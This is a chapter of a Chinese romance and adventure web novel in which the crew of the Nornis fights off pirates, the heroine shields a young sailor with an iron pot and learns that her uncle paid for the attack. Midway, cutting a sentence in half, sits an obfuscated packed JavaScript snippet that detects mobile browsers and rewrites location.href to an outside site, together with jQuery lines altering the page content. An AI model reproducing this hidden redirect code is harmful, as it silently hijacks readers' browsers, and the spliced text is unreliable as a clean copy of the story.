江熠的警告就像一滴冷水滴进滚烫的油锅里面,甲板上瞬间炸开。
训练有素的水手们不需要更多指令,像平时训练的那样,立刻扑向各自的岗位。
火炮旁的伪装帆布瞬间被猛地扯下,露出黑洞洞的炮口。空气中弥漫一股开火药引信特有的硫磺味,混合着海水的腥咸。
海盗们显然做好了充足的准备,没给他们丝毫准备时间,几乎在江熠话音落下的瞬间,对方的侧弦便爆发出连片的火光,沉闷的轰鸣声隔着海面传来。
“他们打的链弹!!瞄准桅杆的!都给我趴下——!”
江熠的吼声再次响起,精准地预判了海盗们的攻击意图。
水手们条件反射般寻找掩护体,或者直接卧倒在潮湿的甲板上。
江熠眼尖,注意到于霜来不及回到船舱里,于是一把将人拉低身子护着。
几乎同时,一种令人耳膜震痛,如同撕裂空气的尖啸声从众人的头顶略过——
那是两颗用沉重铁链连接着的铁球,高速旋转着,如同死神的纺纱锤,直直扑向诺尔尼斯号的船头桅杆系统。
“咔嚓——哐当——!”一声巨响从船头传来,一枚链弹精准地绞中了前杆的中端,木屑瞬间爆炸开来,几条至关重要的帆索应声崩断。
巨大的横帆失去了支撑,如同一个被扯断了引线的风筝,低低地耷拉下来,严重地破坏了船只的平衡和速度,船身猛地向一侧倾斜,甲板上的木桶和杂物都滚落得满地都是。
“操他大爷的!前桅完了!!”大副雷恩痛心地大声咒骂了几句脏话。
还没等众人从链弹的打击中回过神来,第二波攻击又立刻接踵而至,这次是霰弹,如同死神挥舞出的炸弹烟花,密密麻麻的铁珠在刹那间覆盖住了整个甲板,像是要清扫所有的生命。
来不及思考前桅的破损,“全员俯卧——贴近甲板——都给我贴死了!!”江熠爆发出嘶吼。
大部分水手立刻照做,将身子死死贴在冰冷的木板上,子弹呼啸着从他们头顶掠过,打得船舷和船壁“噗噗”作响,留下蜂窝般的弹孔。
“该死的。”江熠狠狠暗骂一声,这群海盗仿佛预判了他们的一举一动,所有的招数都冲着船身的弱点来,简直像是为他们量身定制的一样。
但少男吉勒,这个第一次经历如此阵仗的菜鸟新手,却被眼前的景象吓呆了。
他看着那片死亡的金属风暴朝着自己笼罩过来,大脑一片空白,双腿如同灌了铅,动弹不得,就这么直愣愣地站着。
“吉勒!趴下——!”江熠大声喊着,但距离太远,已然无济于事。
就在这千钧一发之际,一个身影却猛地从一门火炮后面站起——
——是于霜!
她不知何时离开了江熠的庇护,丢掉了碍事的斗篷,露出了墨绿色长裙,像一道绿色的旋风,抄起厨师放在角落里那口厚重无比的,用来煮集体汤食的大铁锅,义无反顾地迎着弹雨冲了出去。
她的脑子里面没有任何其他的英雌主义式的想法,只有一个简单的念头:绝不能让这个总是用崇拜目光看着自己的少男死在这里!
“铛啷啷——!!”一阵密集得如同爆豆般的,刺耳的撞击声响起。
铁锅被打得活火星四溅,锅底瞬间出现了无数个凹坑,巨大的冲击力让于霜纤细的手臂剧痛欲裂,虎口崩开,鲜红瞬间染红了整个手掌,她再也握不住,铁锅脱手飞出,“哐当”一声砸在甲板上。
但她成功地在最后一刻将吓傻了的吉勒扑倒在地,用自己的身体和那口救命的锅,为他挡下了致命一击。
“西,西蒙小姐!”吉勒被压在身下,惊魂未定地看着上方因剧痛而苍白扭曲的脸,声音不自觉染上哭腔。
"别哭了。"于霜有些烦躁,但语气依然温柔。
江熠的心脏在那一刻几乎停止了跳动,他看到于霜冲出去的瞬间,所有的冷静都被抛之脑后,一股巨大的恐惧令他呼吸不上。
他像一头被激怒的疯狗,趁着海盗换炮的间隙,以惊人的速度冲了过去,几乎是粗暴地一把将于霜从吉勒身上拽了起来,力道大得让于霜痛呼出声,然后将人死死压在火炮后的底座上。
“你发什么神经啊,江熠!”
“你找死吗,于霜?你知不知道……”江熠低吼着,声音因为过度紧张而沙哑,眼神凶狠,紧绷的神经在接触到她皮肤的瞬间又悄然放松。
于霜喘着粗气,手臂和虎口火辣辣的疼,但迎上他的目光却毫不退缩:“知道什么?江熠,你难道要我眼睁睁地看着他死吗?”
“我是在担心……”
“别说这些了!”于霜毫不客气地打断他的话,“先想想,要怎么处理这些杂碎。”
她说的对,海盗的炮火还在继续,现在不是该讨论这个的时候,他需要每一个能信任,能战斗的人。
他语速极快,几乎是命令似的:“装弹会吗,就守在这门炮后面,按我说的数——三罐□□,压实,然后直接装弹,别多,也别少!听懂了吗?”他将自己负责的这门炮的装填任务交给了她。
“用你说?”于霜忍着痛,深吸一口气,努力让自己的声音听起来平稳。
但她接下来的动作却让江熠再次一愣——她反手扯下他脖子上那条挡风沙的旧亚麻领巾,那上面还带着他的体温和淡淡的海盐气息,然后不由分说的,有些笨拙却坚决地塞住了他的两只耳朵。
“炮声会震聋你的,副船长先生!”她大声喊着,试图压过周围的喧嚣。
耳朵被柔软的布料堵住,外界震耳欲聋的炮声瞬间变得沉闷。
江熠怔住了,动作也僵住了,他深深看了她一眼,那目光复杂难辨。
于霜却挑衅般冲他挑挑眉:“你再愣下去,我可不想死得这么不体面。”
江熠立刻转身,不再看她,朝着右舷其他炮位嘶声呐喊:“右舷火炮!葡萄弹准备!给我瞄准他们的甲板。”
他声音冷了下去,带着一种残忍的期待,“让他们好好品尝一下,来自东方的礼物。”
转而他又指挥着:“左边,继续装炮,保持弹药补给。”
“轰隆隆——”诺尔尼斯号向海盗船发起了进攻。
海盗们像是早有防备,船身向右一偏,借着海上的礁石躲过一击,又迅速向前驶来。
然后凭着诺尔尼斯号机动性受损的机会,迅速逼近,距离近到可以透过浓雾看清对面那些海岛狰狞的面孔。
他们挥舞着弯刀和手枪,发出如野兽般的嘶吼,仿佛
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16500877|181538||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
能隔着海风闻到他们嘴里腥臭的口气。
“他们想登船!!”大副雷恩瞬间看出海盗们的计谋,“钩锁!砍断所有钩锁——”
他的声音已经彻底嘶哑,庞大的身躯在甲板上灵活地移动,手中的水手刀狠狠劈砍着那些带着倒钩的铁爪和绳索。
更多钩索如同毒蛇吐的信子,从海盗船上抛射过来,死死扣住了船的护栏处,试图将两艘船牢牢拉近,好让他们能跳上甲板大开杀戒。
于霜也掏出藏匿于大腿内侧的匕首,加入了砍索的行列。
她力气不足,但眼光精准,专门找绳索受力最紧要的地方下手。
匕首斜插进坚韧的麻绳,反震力让她原本就受伤的手臂更加疼痛,但她咬紧牙关,用力将一条条绳索尽数隔断。
海盗们显然准备充分,钩绳似乎无穷无尽。
于霜眯了眯眼,看见了离她最近的一个海盗,那男人身形高大,体毛旺盛,嘴唇裂开,露出里面焦黄的牙龈,让人恶心得胃里直泛酸水。
他似乎是那群海盗的头头,此刻正对着其他人叽里呱啦地说着什么。
他的声音很大,说着夹杂着英伦口音的西班牙语:“……我们要速战速决,珀金斯先生给的报酬,是要我们不留活口,尤其是船上的那个女人……”
一股寒意直冲于霜头顶,凉意贯穿了她的全身,她握着匕首的手止不住地颤抖,险些掉进海里。
所以他们现在所经历的一切,都拜她的好叔叔所赐。
而她的好叔叔,连演都不演了,一边占有着她父母的资产,一边和海盗勾结,不仅要她的命,甚至还要诺尔尼斯号全船人一起陪葬。
于霜几乎要嗤笑出声。
那在黑市上被人追杀,肯定也是他的手笔。
知晓了一切,于霜反而没那么怕了,既然她的好叔叔要置她于死地,那她也有耐心陪他好好玩玩。
什么贵族教养都被她抛之脑后,骨子里的那股疯劲也被彻底激发出来。
她本来不想杀人的,都是他们的错。
是叔叔非要勾搭海盗和东印度公司,是他们非要刺激自己的。
强烈的念头驱使着她,于霜想再靠近一点船舷,听得更清楚一些,或许能获取更多关于接应和计划的信息。
她下意识向前挪动半步,身体侧着探出一半,头发被海风打湿,贴在脸颊上。
就在这一刻,一只熟悉而温热的手掌一把覆上她的腰,带着她往后一靠——
于霜跌进了一个宽厚的怀里,同时,带着薄怒的声音在她耳边响起,盖过了其他喧嚣:“别分心——”
于霜被按得微微一缩,被迫将视线从说话人身上收回,往前一看。
江熠那带着薄茧的手轻轻盖住她的眼睛,她的睫毛划过他的手指缝隙。
“啊——!!”一声凄厉的惨叫在于霜耳边炸开,几滴黏腻稠湿的液体溅在了她的嘴边,夹杂着一股让人无法忽略的血腥味。
她下意识想舔,却被身后的男人用指腹慢慢地擦去。
于霜有些发愣,因为她听见江熠好像低低叹了口气,温热的气息扑在她的耳垂上,然后无奈道:
“于霜,怎么办啊。”
“我好像,又得陪你一条新裙子了。”